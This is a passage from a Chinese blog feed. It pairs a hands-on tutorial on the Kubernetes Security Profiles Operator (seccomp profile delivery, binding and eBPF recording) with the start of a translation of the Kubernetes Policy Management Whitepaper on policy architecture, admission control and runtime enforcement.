&lt;td&gt;true&lt;/td&gt;
&lt;td&gt;用录制的方式生成 Profile&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;RawSelinuxProfile&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;SeccompProfile&lt;/td&gt;
&lt;td&gt;sp&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;td&gt;用于保存 Seccomp Profile&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;SecurityProfileNodeStatus&lt;/td&gt;
&lt;td&gt;spns&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;SecurityProfilesOperatorDaemon&lt;/td&gt;
&lt;td&gt;spod&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;SelinuxProfile&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;td&gt;用于保存 Selinux Profile&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;最后创建一个命名空间 &lt;code&gt;spo&lt;/code&gt;，并以此作为缺省命名空间，进行后续的试用过程。&lt;/p&gt;

&lt;h2 id=&#34;借助-spo-传递-seccomp&#34;&gt;借助 SPO 传递 Seccomp&lt;/h2&gt;

&lt;p&gt;创建一个 Seccomp Profile，其中加入了对系统调用的审计日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: security-profiles-operator.x-k8s.io/v1beta1
kind: SeccompProfile
metadata:
  namespace: spo
  name: seccomp-profile-sample
spec:
  defaultAction: SCMP_ACT_LOG
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Apply 之后 &lt;code&gt;kubectl get sp seccomp-profile-sample -o yaml&lt;/code&gt; ，会发现状态如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;metadata:
...
  finalizers:
  - gke-gcp-vlab-k8s-default-pool-7c61250b-x3h1-delete
  - gke-gcp-vlab-k8s-default-pool-7c61250b-n9l3-delete
  - gke-gcp-vlab-k8s-default-pool-7c61250b-86wz-delete
...
status:
...
  localhostProfile: operator/spo/seccomp-profile-sample.json
  status: Installed
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;表明 Profile 已经部署到三个节点，状态为 &lt;code&gt;Installed&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;这样一来就可以创建一个 Pod，引用这个 Profile：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: sleep-pod
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: operator/spo/seccomp-profile-sample.json
  containers:
    - name: sleep
      image: dustise/sleep:v0.9.6
      volumeMounts:
      - name: kubelet
        mountPath: /data/kubelet
  volumes:
  - name: kubelet
    hostPath:
        path: /var/lib/kubelet/seccomp/operator/spo
        type: Directory
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pod 创建之后，进入 Pod Shell，可以看到我们生成的 Profile：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it sleep-pod -- bash
bash-5.0# cd /data/kubelet
bash-5.0# ls
seccomp-profile-sample.json
bash-5.0# cat seccomp-profile-sample.json
{&amp;quot;defaultAction&amp;quot;:&amp;quot;SCMP_ACT_LOG&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来执行一下 CURL 点什么，登录节点看看日志&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ sudo journalctl -xe  | grep -i seccomp | grep curl
Mar 21 10:12:44 gke-gcp-vlab-k8s-default-pool-d97cb436-mdgb audit[180209]: SECCOMP auid=4294967295 uid=0 gid=0 ses=4294967295 subj==docker-default (enforce) pi
d=180209 comm=&amp;quot;curl&amp;quot; exe=&amp;quot;/usr/bin/curl&amp;quot; sig=0 arch=c000003e syscall=231 compat=0 ip=0x7f6d3b8d76f9 code=0x7ffc0000
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;删掉 Pod。便于进行后续步骤&lt;/p&gt;

&lt;p&gt;如果我不想修改 Pod，可以用 ProfileBinding 把 Seccomp Profile 和镜像绑定到一起，如下配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;apiVersion: security-profiles-operator.x-k8s.io/v1alpha1
kind: ProfileBinding
metadata:
  name: sample-binding
spec:
  profileRef:
    kind: SeccompProfile
    name: seccomp-profile-sample
  image: dustise/sleep:v0.9.6
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看看重建一个没有 &lt;code&gt;securityPod&lt;/code&gt; 的 Pod 会有什么变化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: sleep-pod
spec:
  containers:
    - name: sleep
      image: dustise/sleep:v0.9.6
      volumeMounts:
      - name: kubelet
        mountPath: /data/kubelet
  volumes:
  - name: kubelet
    hostPath:
        path: /var/lib/kubelet/seccomp/operator/spo
        type: Directory
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建之后，我们看看线上的 YAML：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get po sleep-pod -o yaml
apiVersion: v1
kind: Pod
...
    securityContext:
      seccompProfile:
        localhostProfile: operator/spo/seccomp-profile-sample.json
        type: Localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;果然这里被修改了。有兴趣还可以查查，这里用到的 Mutating Webhook。&lt;/p&gt;

&lt;h2 id=&#34;录制-profile&#34;&gt;录制 Profile&lt;/h2&gt;

&lt;p&gt;SPO 支持三种录制模式，分别是 &lt;code&gt;hook&lt;/code&gt;、&lt;code&gt;log&lt;/code&gt; 或 &lt;code&gt;eBPF&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;hook&lt;/code&gt; 指的是 &lt;a href=&#34;https://github.com/opencontainers/runtime-spec/blob/fd895fb/config.md#posix-platform-hooks&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;OCI hooks&lt;/code&gt;&lt;/a&gt;，但是目前 &lt;a href=&#34;https://github.com/containerd/containerd/issues/6645&#34; target=&#34;_blank&#34;&gt;containerd 还不支持&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;log&lt;/code&gt; 则是使用基于日志的录制方式。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;eBPF&lt;/code&gt; 自然就是最新的基于 eBPF 的录制了。&lt;/p&gt;

&lt;p&gt;缺省情况下 &lt;code&gt;spod&lt;/code&gt; 没有开启 eBPF 录制功能，需要把开关 &lt;code&gt;spec.enableBpfRecorder&lt;/code&gt; 设置为 &lt;code&gt;true&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl patch spod spod -n security-profiles-operator  --type=merge -p &#39;{&amp;quot;spec&amp;quot;:{&amp;quot;enableBpfRecorder&amp;quot;:true}}&#39;
securityprofilesoperatordaemon.security-profiles-operator.x-k8s.io/spod patched
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来创建一个录制对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: security-profiles-operator.x-k8s.io/v1alpha1
kind: ProfileRecording
metadata:
  name: sample-recording
spec:
  kind: SeccompProfile
  recorder: bpf
  podSelector:
    matchLabels:
      app: sleep
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交之后，我们给上一个 Pod 加上标签 &lt;code&gt;app=sleep&lt;/code&gt;，创建出来，然后随便执行点什么：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f recording.yaml
profilerecording.security-profiles-operator.x-k8s.io/sample-recording created
$ kubectl apply -f plain-pod.yaml
pod/sleep-pod created
$ kubectl exec -it sleep-pod -- curl http://jd.com
...
$ kubectl exec -it sleep-pod -- mkdir 123
...
$ kubectl exec -it sleep-pod -- ping baidu.com
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;删除 Pod，查看 SeccompProfile：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl delete -f plain-pod.yaml
pod &amp;quot;sleep-pod&amp;quot; deleted
$ kubectl get sp
NAME                     STATUS      AGE
sample-recording-sleep   Installed   9s

$ kubectl get sp sample-recording-sleep -o yaml

kind: SeccompProfile
metadata:
  creationTimestamp: &amp;quot;2022-03-21T14:07:23Z&amp;quot;
  finalizers:
  - gke-gcp-vlab-k8s-default-pool-d97cb436-5tct-delete
  - gke-gcp-vlab-k8s-default-pool-d97cb436-mdgb-delete
  - gke-gcp-vlab-k8s-default-pool-d97cb436-d8d1-delete
  generation: 1
  labels:
    spo.x-k8s.io/profile-id: SeccompProfile-sample-recording-sleep
...
spec:
  architectures:
  - SCMP_ARCH_X86_64
  defaultAction: SCMP_ACT_ERRNO
  syscalls:
  - action: SCMP_ACT_ALLOW
    names:
    - arch_prctl
    - bind
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里看到，删除 Pod 之后，录制过程自动生成了新的 SeccompProfile，其中包含了 Pod 工作过程中使用的配置，并且已经被安装到了各个节点之上。&lt;/p&gt;

&lt;h2 id=&#34;牢骚&#34;&gt;牢骚&lt;/h2&gt;

&lt;p&gt;Kubernetes 普及之后，新方向层出不穷，正如杨蒙恩说的——“遍地是大王，短暂又辉煌”，不过安全可能是目前确定性最高的一块内容，决不短暂。所谓安全无小事，没有网格、没有 Serverless 甚至没有多集群、经济性、混布都可以，没有安全可能就全盘皆输了；也不要总想着新瓶装旧酒，挑挑节点、固定一下 IP 就完事了，BMW 装上马鞍之后，丢的不只是风阻和车顶，至少车友群是不太容易混了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 策略管理</title>
      <link>/post/kubernetes-policy-managment/</link>
      <pubDate>Sat, 29 Jan 2022 14:31:37 +0800</pubDate>
      <guid>/post/kubernetes-policy-managment/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://github.com/kubernetes/sig-security/tree/main/sig-security-docs/papers/policy&#34; target=&#34;_blank&#34;&gt;Kubernetes Policy Management Whitepaper
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本文试图清晰地阐述 Kubernetes 策略管理的必要性以及在工作负载安全和自动化方面的作用。另外还会讲述 Kubernetes 策略的适用场景以及实现原理。&lt;/p&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;策略是一组规则，组织能用策略来帮助达成预期目标。策略可以应用在成本、安全以及生产力等各类行为之中。例如一个公司的开支策略定义了财务团队对员工采购进行审计的指导方针。&lt;/p&gt;

&lt;p&gt;在信息技术方面，策略是系统配置和行为的规则，可能应用在安全、弹性、韧性以及最佳实践等不同领域之中。策略中定义的系统控制规则可以用声明式的方法来表达这些建议行为。Kubernetes 为代表的云原生系统通常是可扩展的，所以可以将策略管理能力集成到系统配置之中。为系统的执行或者审计行为建立报告就能对策略的遵从情况进行衡量。&lt;/p&gt;

&lt;p&gt;在 Kubernetes 中，策略可以理解为应用属主、集群管理员以及安全管理员之间签订的数字契约。Kubernetes 管理员根据安全与合规需求，制定策略并部署到集群之中。策略会针对特定配置或行为做出放行、禁止或者审计的响应。一般来说策略是由运维和信息安全团队协作编写的。管理策略的最佳方式就是用代码表达策略，并且进行可审计的源码管理。&lt;/p&gt;

&lt;p&gt;Kubernetes 的&lt;a href=&#34;https://kubernetes.io/docs/concepts/overview/kubernetes-api/&#34; target=&#34;_blank&#34;&gt;原生 API&lt;/a&gt; 中就带有策略的内容（例如&lt;a href=&#34;https://kubernetes.io/docs/concepts/services-networking/network-policies/&#34; target=&#34;_blank&#34;&gt;网络策略&lt;/a&gt;），还可以通过&lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/&#34; target=&#34;_blank&#34;&gt;动态准入控制器&lt;/a&gt;的方式把外部的策略引擎运行在 &lt;a href=&#34;https://kubernetes.io/docs/reference/glossary/?all=true#term-control-plane&#34; target=&#34;_blank&#34;&gt;Kubernetes 控制面&lt;/a&gt;之中。本文会同时涉及这两种策略实施方式。&lt;/p&gt;

&lt;h2 id=&#34;作者&#34;&gt;作者&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Anca Salier, IBM&lt;/li&gt;
&lt;li&gt;Ardhna Chetal, TIAA&lt;/li&gt;
&lt;li&gt;Jayashree Ramanathan, Red Hat&lt;/li&gt;
&lt;li&gt;Jim Bugwadia, Nirmata&lt;/li&gt;
&lt;li&gt;Robert Ficcaglia, Sunstone Secure&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;鸣谢&#34;&gt;鸣谢&lt;/h2&gt;

&lt;p&gt;作者团队在此感谢下列各位对本文的评审和反馈：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Raj Krishnamurthy, ContiNube&lt;/li&gt;
&lt;li&gt;Itay Shakury, Aqua Security&lt;/li&gt;
&lt;li&gt;Vishwas Manral, McAfee Enterprise (NanoSec)&lt;/li&gt;
&lt;li&gt;Rory McCune, Aqua Security&lt;/li&gt;
&lt;li&gt;Andres Vega, VMware&lt;/li&gt;
&lt;li&gt;Sayantani Saha, IEM-Kolkata&lt;/li&gt;
&lt;li&gt;Jack Kelly&lt;/li&gt;
&lt;li&gt;Ash Narkar, Styra&lt;/li&gt;
&lt;li&gt;Kapil Bareja, Deloitte&lt;/li&gt;
&lt;li&gt;Karim Benzidane, IBM&lt;/li&gt;
&lt;li&gt;Maor Kuriel, WhiteSource&lt;/li&gt;
&lt;li&gt;Herbert Mühlburger, IT-Ziviltechniker&lt;/li&gt;
&lt;li&gt;Maarten Hoogendoorn, Container Solutions&lt;/li&gt;
&lt;li&gt;Pushkar Joglekar, VMware&lt;/li&gt;
&lt;li&gt;Alok Raj&lt;/li&gt;
&lt;li&gt;Dan Papandrea, Sysdig&lt;/li&gt;
&lt;li&gt;Abdelrahman Essam&lt;/li&gt;
&lt;li&gt;Rahul Jadhav, Accuknox&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;同时还需要感谢 CNCF &lt;a href=&#34;https://github.com/cncf/tag-security#readme&#34; target=&#34;_blank&#34;&gt;安全 TAG&lt;/a&gt; 以及 Kubernetes &lt;a href=&#34;https://github.com/kubernetes/community/tree/master/sig-security#security-special-interest-group&#34; target=&#34;_blank&#34;&gt;安全 SIG&lt;/a&gt; 的合作和支持。&lt;/p&gt;

&lt;h2 id=&#34;目标读者&#34;&gt;目标读者&lt;/h2&gt;

&lt;p&gt;本文适用于 Kubernetes 管理员、SRE 工程师以及其他希望在安全、韧性以及最佳实践方面符合组织标准以及监管要求的情况下创建集群并运行工作负载的从业者。&lt;/p&gt;

&lt;p&gt;首席安全官（CSO）、首席信息安全官（CISO）、首席技术官（CTO）、安全以及合规从业人员，以及使用 Kubernetes 的审计人员也能从本文中受益。其它对 Kubernetes 安全、合规以及治理有兴趣的人也可以参考本文内容。&lt;/p&gt;

&lt;h2 id=&#34;包括什么&#34;&gt;包括什么&lt;/h2&gt;

&lt;p&gt;Kubernetes 文档定义了&lt;a href=&#34;https://kubernetes.io/docs/concepts/security/overview/#the-4c-s-of-cloud-native-security&#34; target=&#34;_blank&#34;&gt;云原生安全的 4C 模型&lt;/a&gt;，其中包含了代码、容器、集群和云四个维度：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/c4security.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 中的策略聚焦于中间的两层——容器和集群；而代码和云则不在本文范围之内，另外两层则属于总体安全策略的范畴。也就是说除了确保容器和集群的安全之外：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;云和其它基础设施的安全也必须进行加固和管理&lt;/li&gt;
&lt;li&gt;运行在容器中的应用代码和第三方依赖也必须确保安全&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在 4C 模型中，Code 代表着&lt;a href=&#34;https://kubernetes.io/docs/concepts/security/overview/#code&#34; target=&#34;_blank&#34;&gt;运行在容器中的应用程序代码&lt;/a&gt;。Kubernetes 配置是由一系列对资源理想状态的声明构成的，这些声明通常用一组以 YAML 编写的资源清单构成。管理 Kubernetes 资源清单的最佳实践就是 &lt;code&gt;As Code&lt;/code&gt;（例如版本控制、评审以及测试的措施），这些资源清单用于描述容器化应用在 Kubernetes 集群中的运行方式，因此在 4C 模型中被映射为容器层。&lt;/p&gt;

&lt;h2 id=&#34;不包括什么&#34;&gt;不包括什么&lt;/h2&gt;

&lt;p&gt;根据上面的讨论，不包括在本文中的层次是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;云：容器平台所在的基础设施&lt;/li&gt;
&lt;li&gt;代码：应用代码和第三方依赖的安全&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;策略引擎和工具&#34;&gt;策略引擎和工具&lt;/h2&gt;

&lt;p&gt;本文内容围绕策略管理概念展开，而不会对策略管理工具进行陈述或比较。云原生全景图中的&lt;a href=&#34;https://landscape.cncf.io/card-mode?category=security-compliance&amp;amp;grouping=category&#34; target=&#34;_blank&#34;&gt;安全与合规&lt;/a&gt;类目中包含了工具方面的内容。&lt;/p&gt;

&lt;h2 id=&#34;策略架构&#34;&gt;策略架构&lt;/h2&gt;

&lt;p&gt;来自 OASIS（Organization for the Advancement of Structured Information Standards 结构化信息标准促进组织）的 XACML（eXtensible Access Control Markup Language 可扩展访问控制标记语言）标准，定义了策略的语言、架构和过程模型。要定义 Kubernetes 的策略管理架构，XACML 架构是一个合适的起点。&lt;/p&gt;

&lt;p&gt;在 XACML 架构中，PAP（Policy Administration Point 策略管理点）会为 PDP（Policy Desision Point 策略决策点）创建策略或者策略组。PEP（Policy Enforcement Point 策略执行点）会对用户请求进行处理，处理过程中会和 PDP 进行通信，得到最终决策。PDP 会从 PIP（Policy Information Point 策略信息点）获取属性值，以此充实策略数据。PDP 接下来就会指示 PEP 如何处理请求——例如放行或者拒绝。&lt;/p&gt;

&lt;p&gt;下图展示了 XACML 组件和组件之间的互动。&lt;a href=&#34;http://docs.oasis-open.org/xacml/3.0/xacml-3.0-core-spec-os-en.html&#34; target=&#34;_blank&#34;&gt;OASIS 的 XACML 3.0 规范&lt;/a&gt;中描述了这方面的详细内容。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/xacml.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来看看 XACML 架构在 Kubernetes 策略管理中的应用。&lt;/p&gt;

&lt;h3 id=&#34;pap&#34;&gt;PAP&lt;/h3&gt;

&lt;p&gt;在 Kubernetes 中实施 XACML 架构时，通常会用一个中央管理系统来在多个集群中进行策略的定义和分发，以此实现 PAP 的职责。PAP 能集成版本控制系统或者兼容 &lt;a href=&#34;https://opencontainers.org/&#34; target=&#34;_blank&#34;&gt;OCI&lt;/a&gt; 的仓库来存储策略定义。版本控制和预发布测试及验证等软件开发方面的最佳实践都可以应用到策略的定义行为之中，也就是策略即代码（Polic as Code，PAC）。随着策略数量的增长，策略管理员会试着依据服务、领域或者控制焦点等维度对策略进行组织，用多个小的代码段来表达策略，让应用或服务查询特定策略；或者通过构造等设计模式进行策略的动态查找。例如根据控制类型或者特定的合规标准以及安全领域对策略进行分析组织。&lt;/p&gt;

&lt;p&gt;PAP 为多个集群提供策略支持，并提供接口进行策略的配置。PAP 根据绑定关系将策略部署到受管理的集群上。一种弹性的实施方法就是用标签标识集群，根据对标签的查询来选择在特定集群上部署特定的策略。&lt;/p&gt;

&lt;p&gt;PAP 用于编写、部署策略，并管理策略的变更。然而现实世界中的策略管理系统还会提供合规映射、策略结果管理、自动化工作流、团队协作以及和其它企业系统（例如认证管理、版本控制、告警等）进行集成的能力。除了管理和分发策略之外，PAP 的典型功能有：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;用图形化的方式组织多个集群的策略执行结果和违规记录，结合上下文数据，促成不同分工团队（例如开发、SRE 以及 SecOps）的协作；&lt;/li&gt;
&lt;li&gt;用策略报告的方式导出多个集群的详细违规记录，和其它 IT 工具进行集成，受管理的多个集群就无需各自完成和这些 IT 工具进行对接了；&lt;/li&gt;
&lt;li&gt;为合规工作提供长期的概要报告。特定策略的详细违规记录保存在各种 PEP 之中。PAP 保存策略结果的时长一般是可以配置的，也可以将长期结果卸载到外部存储；&lt;/li&gt;
&lt;li&gt;提供安全和合规评估报告以及态势细节；&lt;/li&gt;
&lt;li&gt;和 SOC（Security Operations Center 安全运维中心）、事件管理以及 GRC（Governance Risk and Compliance）等企业工具进行对接。和 SOC 以及 GRC 结合 可以将 PDP 的结果映射到特定的合规条例（例如 PCI）、法规（例如 HIPAA）或者标准（例如 NIST 800-53）及其控制；&lt;/li&gt;
&lt;li&gt;将原生的策略报告格式转译为 NIST 开放安全评估控制语言（OSCAL—Open Security Controls Assessment Language）或者为审计过程提供模板。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/pap.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;pep&#34;&gt;PEP&lt;/h3&gt;

&lt;p&gt;PEP 用于执行策略，确保 Kubernetes 的工作负载和集群本身符合策略要求。还可以帮助对配置进行审计，并且在 API 资源发生违规操作时候进行告警。&lt;/p&gt;

&lt;p&gt;Kubernetes 会使用以下方式执行策略：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;内置策略对象&lt;/li&gt;
&lt;li&gt;用准入控制器来扩展 Kubernetes&lt;/li&gt;
&lt;li&gt;策略引擎&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这些选项并非互斥关系，全面的安全解决方案会使用多种方式协作完成任务。&lt;/p&gt;

&lt;h4 id=&#34;kubernetes-策略对象&#34;&gt;Kubernetes 策略对象&lt;/h4&gt;

&lt;p&gt;Kubernetes 内置了多种策略以及可以作为策略基础的资源对象。这些资源由 Kubernetes 控制器来实现。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Namespaces：Kubernetes &lt;a href=&#34;https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/&#34; target=&#34;_blank&#34;&gt;命名空间&lt;/a&gt;提供了 API 级别的资源分片，让不同工作负载和团队共享一个集群。即使是一个应用或者团队独占的集群，也应该使用命名空间作为安全边界，以此限制集群级别的访问；&lt;/li&gt;
&lt;li&gt;RBAC：Kubernetes 可以定义集群级或命名空间级的角色，其中包含了授权信息，并可以将&lt;a href=&#34;(https://kubernetes.io/docs/reference/access-authn-authz/rbac/)&#34; target=&#34;_blank&#34;&gt;角色绑定&lt;/a&gt;到用户或 Service Account 上；&lt;/li&gt;
&lt;li&gt;Pod Security admission：Pod 是 Kubernetes 中的基本执行单元，每个 Pod 都有一个安全上下文，其中定义了 Pod 的特权情况以及其它安全需求。&lt;a href=&#34;https://kubernetes.io/docs/concepts/security/pod-security-standards/&#34; target=&#34;_blank&#34;&gt;Pod Security Standards&lt;/a&gt; 中定义了三个级别的安全策略，&lt;a href=&#34;https://kubernetes.io/docs/concepts/security/pod-security-admission/&#34; target=&#34;_blank&#34;&gt;Pod 安全准入控制器&lt;/a&gt; 提供了一个实现，用于在命名空间级别应用策略；&lt;/li&gt;
&lt;li&gt;Quota：这个对象为工作负载和命名空间指定了 request 和 limit，确保工作负载不会影响到同一集群中其它工作负载的性能。&lt;/li&gt;
&lt;li&gt;网络策略：网络策略控制了工作负载的 Ingress 和 Egress 流量。网络策略是 Kubernetes API 的一部分，其具体实现是来自 CNI 插件的，因此必须安装支持网络策略的 CNI 插件才能使用网络策略。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;准入控制器&#34;&gt;准入控制器&lt;/h4&gt;

&lt;p&gt;Kubernetes 中所有的配置变更活动，不论来自于管理员、终端用户、内置控制器、扩展或者外部管理系统，都是用声明式 API 进行的。所有 API 请求都是经由 Kubernetes API 服务器完成的，这样 API Server 就可以作为一个可扩展的执行点来进行工作了：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/admission-enforcement.png&#34; alt=&#34;admission-enforcement&#34; /&gt;&lt;/p&gt;

&lt;p&gt;每个 Kubernetes API 请求在持久化到数据层（通常是 ETCD）之前，都会经过三个检查点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;认证：请求的发出方可能是用户或者应用，认证环节会验证凭据来鉴别用户的身份。Kubernetes 支持多种&lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/authentication/&#34; target=&#34;_blank&#34;&gt;认证方法&lt;/a&gt;。例如基于 OpenID Connect（OIDC）的认证过程会使用中央认证的方式对 Token 进行认证，可以用于用户和 Service Account 的认证过程。策略管理需要确保部署了合适的认证方式，并遵循最佳实践进行配置。&lt;/li&gt;
&lt;li&gt;鉴权：调用方经过认证之后，需要由鉴权环节来判别是否允许当前调用对指定资源进行读取或修改。Kubernetes 支持多种&lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/authorization/&#34; target=&#34;_blank&#34;&gt;鉴权模式&lt;/a&gt;。RBAC 模式下，使用 Role 和 RoleBinding 对象控制命名空间中的资源；对于集群级的资源则会使用 ClusterRole 和 ClusterRoleBinding。
Kubernetes 中可以注册 Webhook 形式的鉴权插件。然而要使用这种模式，就需要对 API Server 的配置参数进行修改，托管 Kubernetes 通常不支持这种修改，因此很少使用这种模式。策略管理要求 Kubernetes 使用 RBAC 之类的鉴权模式。&lt;/li&gt;
&lt;li&gt;准入控制：调用过程通过了认证和鉴权之后，Kubernetes 会调用&lt;a href=&#34;https://kubernetes.io/blog/2019/03/21/a-guide-to-kubernetes-admission-controllers/&#34; target=&#34;_blank&#34;&gt;准入控制器&lt;/a&gt;，对 API 请求的处理过程进行额外的控制。Kubernetes 内置了很多的准入控制器，可以使用 API Server 参数进行&lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/&#34; target=&#34;_blank&#34;&gt;启用或者禁用&lt;/a&gt;。
准入控制器可以对数据进行校验甚至修改。例如内置的 LimitRanger 会对确保特定命名空间中的资源约束和预订配额没有冲突；DefaultIngressClass 会修改新建的 Ingress 控制器，设置一个缺省的 Ingress Class。
除了内置的准入控制器之外，Kubernetes 还可以用加密的方式注册以及调用外部控制器的 Webhook（Webhook 是一个软件组件，能够接收和响应 HTTP 请求），对请求数据进行校验和变更。这样外部策略引擎就能够对所有的 Kubernetes 请求进行校验或者修改。策略引擎可以作为一种深度防御机制，弥补常见的故障-放行控制。策略管理应该确保结合各种准入控制器和策略引擎来部署和实时策略。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在处理请求之前，可以用准入控制器实施策略，针对请求进行各种校验和修改，例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;检查是否使用了可信的镜像仓库&lt;/li&gt;
&lt;li&gt;检查镜像签名&lt;/li&gt;
&lt;li&gt;把镜像标签转换为不可变的哈希值&lt;/li&gt;
&lt;li&gt;执行供应链检查&lt;/li&gt;
&lt;li&gt;强制使用 Kubernetes 策略对象，例如 Pod Security Admission、RBAC、命名空间、Limit 和 Quota 以及网络策略&lt;/li&gt;
&lt;li&gt;使用合适的 SecComp 和 SELINUX 方案&lt;/li&gt;
&lt;li&gt;禁止不安全的配置用法，例如不合理的特权 Pod&lt;/li&gt;
&lt;li&gt;（借助 Mutating Webhook）自动消减不安全配置&lt;/li&gt;
&lt;li&gt;根据最佳实践进行审计和策略实施，例如设置健康检查和资源配额&lt;/li&gt;
&lt;li&gt;生成缺省资源，例如缺省的网络策略&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;运行时策略实施&#34;&gt;运行时策略实施&lt;/h4&gt;

&lt;p&gt;对于一些不安全配置或者不当行为，例如访问被保护的文件系统，可以新增一个安全层进行检测。&lt;/p&gt;

&lt;p&gt;在一些场景下，例如在现存的重要工作负载上引用新策略时，对于违规问题应该进行报告而不是阻断业务。PEP 应该提供这种细粒度的弹性控制。&lt;/p&gt;

&lt;p&gt;容器运行时有两种不同的威胁：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;攻击者获得了控制权，可以创建新容器&lt;/li&gt;
&lt;li&gt;运行中的容器中产生的威胁&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;针对第一条威胁，可以使用 Kubernetes 认证、鉴权以及准入控制器来检查所有的 API 请求，这方面的策略在前面的章节已经有所涉及。接下来我们要关注的是第二个场景，要消减这方面的需求，需要对容器运行时参数进行合理的配置，并且要用策略来限制运行时做出非预期的行为。&lt;/p&gt;

&lt;p&gt;Kubernetes 运行时策略引擎可以对运行中的容器进行观察，察觉或制止恶意的系统调用或进程，例如可以通过 LSM 直接拒绝危险的系统调用，阻止违规行为。实施最小特权原则可以保障容器只能在合法范围内进行活动，例如禁止或者限制或者审计对 debugfs 的使用，对其它进程的注入、写入可执行内存区、动态载入代码、载入内核模块以及进程钩子。可以定义策略限制或者审计到主机服务、Kubernetes API Server、云基础设施元数据服务（例如 AWS EC2 元数据服务），或者数据渗透、下载二进制文件等行为。&lt;/p&gt;

